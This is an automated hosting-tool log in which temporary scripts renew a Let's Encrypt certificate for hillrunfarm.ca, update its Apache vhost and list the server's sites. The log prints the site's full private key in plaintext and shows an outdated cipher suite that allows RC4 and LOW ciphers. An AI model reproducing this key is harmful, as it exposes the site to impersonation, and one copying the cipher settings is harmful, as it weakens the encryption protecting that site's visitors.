AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-04 06:00:28: Establishing a connection
2026-02-04 06:00:28: Establishing a connection
2026-02-04 06:00:28: 

PUT: /tmp/pkp693638

#!/bin/bash
if [ -d "/var/www/hillrunfarm_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-04 06:00:28: 

chmod 755 /tmp/pkp693638; /tmp/pkp693638; rm /tmp/pkp693638

2026-02-04 06:00:28: 


1


2026-02-04 06:00:29: Establishing a connection
2026-02-04 06:00:29: 

PUT: /tmp/pkp490419

#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cat > j0mMHE14iN_S7QlIgg4Pfyyjj5ioS2z0Nnv5WAutriw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
j0mMHE14iN_S7QlIgg4Pfyyjj5ioS2z0Nnv5WAutriw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 j0mMHE14iN_S7QlIgg4Pfyyjj5ioS2z0Nnv5WAutriw
cat > aaYFceHOuEWWCSaKFqeQsX0dTO0fSaVnN3J6L5fFt-Y <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
aaYFceHOuEWWCSaKFqeQsX0dTO0fSaVnN3J6L5fFt-Y.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 aaYFceHOuEWWCSaKFqeQsX0dTO0fSaVnN3J6L5fFt-Y


2026-02-04 06:00:29: 

chmod 755 /tmp/pkp490419; /tmp/pkp490419; rm /tmp/pkp490419

2026-02-04 06:00:29: 




2026-02-04 06:00:40: Establishing a connection
2026-02-04 06:00:40: 

PUT: /tmp/pkp716959

#!/bin/bash
mkdir -p "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
cd "/var/www/hillrunfarm_www/.well-known/acme-challenge/"
rm j0mMHE14iN_S7QlIgg4Pfyyjj5ioS2z0Nnv5WAutriw
rm aaYFceHOuEWWCSaKFqeQsX0dTO0fSaVnN3J6L5fFt-Y


2026-02-04 06:00:40: 

chmod 755 /tmp/pkp716959; /tmp/pkp716959; rm /tmp/pkp716959

2026-02-04 06:00:40: 




2026-02-04 06:00:40: Establishing a connection
2026-02-04 06:00:40: 

PUT: /tmp/pkp313156

#!/bin/bash
temp_file=$(mktemp)
TARGET=1580003f2048ce1d2a11cc5c78c90447.crt

cat > $temp_file <<'endmsg'
56:0f:c5:cd:20:f8:0c:72:16:58:29:8d:29:24:18:75

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBjqJTX5oFe5E929LuWu4i7SvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjA0MDUwMjA4WhcNMjYwNTA1MDUwMjA3WjAZMRcwFQYDVQQD
Ew5oaWxscnVuZmFybS5jYTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
AIo1dBEaO3I7jHBSnJFpjSDhBb6q1FukBoDZPN4/Nl40ODj1UTSldr9zPksmXZSw
FItwA2G7Ji8PsfbsbZwTNqotIVY86xGH1BZ8d9wnXAbS17uEupa5Pus+toJ2HSlU
pcDHB7bOvTOVWyQuMs7IRn1IrxMVNeCXtF7EIOzBtMpudwP2EWiP49eVhFo5FHnn
nj2sRMcqvj2ZUAHmCE4Jlt6kErsaVGlH3jRtJkqK96Tfdl+PkzeNYmdt/6uombd+
8/P8CfgbUnbi3wxucACuGeYvGcGibtG/ZgbyB46hV/LT1GvbzGuDxqPknceSS4gt
nngth9OckbaVydtjmLz9ydUCAwEAAaOCAjIwggIuMA4GA1UdDwEB/wQEAwIFoDAd
BgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAdBgNV
HQ4EFgQUeae8m8Dj8swzGkH9rytiiQSNQS4wHwYDVR0jBBgwFoAUALUp8i2ObzHo
m0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8v
cjEyLmkubGVuY3Iub3JnLzAtBgNVHREEJjAkgg5oaWxscnVuZmFybS5jYYISd3d3
LmhpbGxydW5mYXJtLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNDguY3JsMIIBBAYKKwYBBAHW
eQIEAgSB9QSB8gDwAHcAlpdkv1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYA
AAGcJz0QYAAABAMASDBGAiEA6nY4hkW6V1Qw4gnBvsk93mwKXUT15nPuryEHVMnD
odICIQC8hQlLu/bX5Qb3B1h03x7KO9gKUTpiiPj7IMVgN93FzQB1ANFuqaVoB35m
NaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABnCc9EOkAAAQDAEYwRAIgBo5RbkTD
hCzFwQGsPB56SrSZkNlcUKblQ6CkpyAm6p0CIA+dzbKdcoWG/ZTbZh/Z4jTJlq94
0hzPuoJqiXaBA7FiMA0GCSqGSIb3DQEBCwUAA4IBAQAIrxVLga5uaLyk8By7foi+
01/CviR5EUI03913gOdLvRRxOt/ZLo+e2mwLE6pEKZM0DgNYNpsKN3iAtV//9ctj
upHpB632jz674/DVChDgGxjYsbKVYKwpPricELOUfdHVJPupGMRSGeDrtiTuaMGl
Z0l1ORbeJqfvKoHzGuehd2k4PHkZ/L97qFa4QFLGsKvHy0be38aixE/2bQOkh/el
pAwWKIKG5GIOBL7XvsBZlAtwmGdVHBp4WC0LXHZzni2afdiJnH5EOS8N+kLxX9Yw
A3PiAM5srAMsgvqI8IpUi2Q6DTrs2bTT56Sx87K1WzInYc2Ybz1gx7dOwSUeAeFW
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCKNXQRGjtyO4xw
UpyRaY0g4QW+qtRbpAaA2TzePzZeNDg49VE0pXa/cz5LJl2UsBSLcANhuyYvD7H2
7G2cEzaqLSFWPOsRh9QWfHfcJ1wG0te7hLqWuT7rPraCdh0pVKXAxwe2zr0zlVsk
LjLOyEZ9SK8TFTXgl7RexCDswbTKbncD9hFoj+PXlYRaORR55549rETHKr49mVAB
5ghOCZbepBK7GlRpR940bSZKivek33Zfj5M3jWJnbf+rqJm3fvPz/An4G1J24t8M
bnAArhnmLxnBom7Rv2YG8geOoVfy09Rr28xrg8aj5J3HkkuILZ54LYfTnJG2lcnb
Y5i8/cnVAgMBAAECggEAAvbsDyzanxPnaoZfHOBgelbRTnpwFSoiyJNAUr0U37br
iM88R26QKkGg0bBYPAb93dLQg8Flq4dA6DzAiiNAXiybJTQnz6ez9SqE0KhYeT3/
CiLp9K8zCg09kXVSoU8TQhwSzolHNirLOm6yQMy7dFcBiF2BWxit8gVvdlyeUeQ+
H9YhqwBsXA4kCEWl/XYa2+YsO7/RT6AcsIUJD6vn53MB8DOBoLn377J1efo9QA68
g/Gu9mSfdvECzU121iMwlHNSB4f1ttDumeQToqOk0cXSWt1+a7h31OK/uJUZlrDP
5n6rbsOojdUI5AmBzHzkBxSjvbYGMYi7qvNlDKDXUQKBgQC+iQD/tDQevjUyl/mx
gnsekllPAPKtcR0hbDMWE5llk6S8OUgKzymA4U6HwoL+OFF44PN8cNfftsJ3jAuj
5XJm1/mEoov6yd4gJG9Bf7op8dD2un9I0WMwY7hJZiBOksCN0bBLDMMQ7w78MTD2
2B6JqbGFjqmAqHwmK5PTZbWmsQKBgQC5sfQFbvVQMF4SlTAtolDld7C433o0r0VD
o9EpXqNxSQKi6NBzt8js+orlqBavBh7j6797DxT2LmAYHWEcrqtm4u/QElFtHU7J
xiM8CBKVsGpQnLjV7OUOGdrj1wr0A/3cg2S/EldkiG3hIWTGdh0Z0d5Vs9noTCrP
3DwgNZDmZQKBgHMuWz4477EOBxa4rKdUW51Vl0udJRcYZCXKRO+5lWfEYzet4RE3
vr08dr63JX0NCqNqSYcWqEmDL/gY3wiLMiddtGcr5DcNRYxkuiT8U8v7dPlSMJQS
kEW2YrdsV2doa6LP+iTEaD+aZJKsIg93Aq7xuHEmlu1B7RseCNUojTFhAoGBAK0Y
RmEyNxWSoH4t9wTywvnDgkYyetXVc3lDoNsxTqVw6zY0UusrK+5K9WJyNwLbb7wB
qzHosx9vxz9zU2zLHRcA/44zJRfTM/g96+YvmDNUiSWvkVRISJPGYhX0BE/F0MPW
7vh0/mXGDrbGzAt7WlERInE8/yjcpyOvJZTYmcNJAoGAYU24rHv+br0VsXJh1ayu
tDNoTUi2P7Eq2Sj3Q1dyegoCUKrsC8yw3ALTMQs4gnuyeAPR/e+GaaYurtsKl3Kw
BAeJr/n+n/u4sRMcYOiFyviWNR5kiPGYzGaFrlLgjvnpU0N3Q/ZYRgggDjEMeKKP
gFE1K92cPXjvo1TWYvb2X5s=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2026-02-04 06:00:40: 

chmod 755 /tmp/pkp313156; /tmp/pkp313156; rm /tmp/pkp313156

2026-02-04 06:00:40: 


dir=/etc/ssl/certs


2026-02-04 06:00:41: 

PUT: /tmp/pkp209305

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-02-04 06:00:41: 

chmod 755 /tmp/pkp209305; /tmp/pkp209305; rm /tmp/pkp209305

2026-02-04 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf 42

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2026-02-04 06:00:41: 

PUT: /tmp/pkp815303

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hillrunfarm_www_ca.conf
TARGET=/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf)= /etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hillrunfarm_www_ca.conf= 1'
fi


2026-02-04 06:00:41: 

chmod 755 /tmp/pkp815303; /tmp/pkp815303; rm /tmp/pkp815303

2026-02-04 06:00:41: 




2026-02-04 06:00:41: 

PUT: /tmp/pkp502540

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-04 06:00:41: 

chmod 755 /tmp/pkp502540; /tmp/pkp502540; rm /tmp/pkp502540

2026-02-04 06:00:41: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-04 06:00:41: Establishing a connection
2026-02-04 06:00:41: 

PUT: /tmp/pkp279166

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-04 06:00:41: 

chmod 755 /tmp/pkp279166; /tmp/pkp279166; rm /tmp/pkp279166

2026-02-04 06:00:41: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:2)
                 alias www.bucketgigs.ca
         port 80 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:2)
                 alias www.dgmarshall.ca
         port 80 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:2)
                 alias www.dgmarshall.com
         port 80 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:2)
         port 80 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:2)
         port 80 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:2)
         port 80 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:2)
         port 80 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:2)
         port 80 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:2)
         port 80 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:2)
                 alias www.drewmarshall.ca
         port 80 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:2)
                 alias www.hillrunfarm.ca
         port 80 namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:2)
                 alias www.ineedtosaythis.com
         port 80 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:2)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
*:443                  is a NameVirtualHost
         default server bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
         port 443 namevhost bucketgigs.ca (/etc/apache2/sites-enabled/bucketgigs_www_ca.conf:23)
                 alias www.bucketgigs.ca
         port 443 namevhost dgmarshall.ca (/etc/apache2/sites-enabled/dgmarshall_www_ca.conf:23)
                 alias www.dgmarshall.ca
         port 443 namevhost dgmarshall.com (/etc/apache2/sites-enabled/dgmarshall_www_com.conf:23)
                 alias www.dgmarshall.com
         port 443 namevhost audio.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_audio_ca.conf:19)
         port 443 namevhost caminoconfessions.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_caminoconfessions_ca.conf:22)
         port 443 namevhost datinggame.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_datinggame_ca.conf:22)
         port 443 namevhost dgm.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_dgm_ca.conf:22)
         port 443 namevhost preacheridol.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_preacheridol_ca.conf:19)
         port 443 namevhost soulsurvivor.drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_soulsurvivor_ca.conf:22)
         port 443 namevhost drewmarshall.ca (/etc/apache2/sites-enabled/drewmarshall_www_ca.conf:20)
                 alias www.drewmarshall.ca
         port 443 namevhost hillrunfarm.ca (/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf:23)
                 alias www.hillrunfarm.ca
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost ineedtosaythis.com (/etc/apache2/sites-enabled/ineedtosaythis_www_com.conf:20)
                 alias www.ineedtosaythis.com
         port 443 namevhost sosretreatscanada.com (/etc/apache2/sites-enabled/sosretreatscanada_www_com.conf:25)
                 alias sosretreats.ca
                 alias www.sosretreats.ca
                 alias www.sosretreatscanada.com
                 alias sosretreatscanada.ca
                 alias www.sosretreatscanada.ca
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-02-04 06:00:41: 

PUT: /tmp/pkp143096

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-04 06:00:41: 

chmod 755 /tmp/pkp143096; /tmp/pkp143096; rm /tmp/pkp143096

2026-02-04 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hillrunfarm_www_ca.conf	1391

<VirtualHost *:80>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	hillrunfarm.ca
    ServerAlias	www.hillrunfarm.ca
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt
    DocumentRoot	/var/www/hillrunfarm_www
    <Directory /var/www/hillrunfarm_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hillrunfarm/www_secure_access.log combined
    ErrorLog	/var/log/apache2/hillrunfarm/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-04 06:00:41: 

PUT: /tmp/pkp949671

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-04 06:00:41: 

chmod 755 /tmp/pkp949671; /tmp/pkp949671; rm /tmp/pkp949671

2026-02-04 06:00:41: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/1580003f2048ce1d2a11cc5c78c90447.crt	5369
56:0f:c5:cd:20:f8:0c:72:16:58:29:8d:29:24:18:75

-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBjqJTX5oFe5E929LuWu4i7SvMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
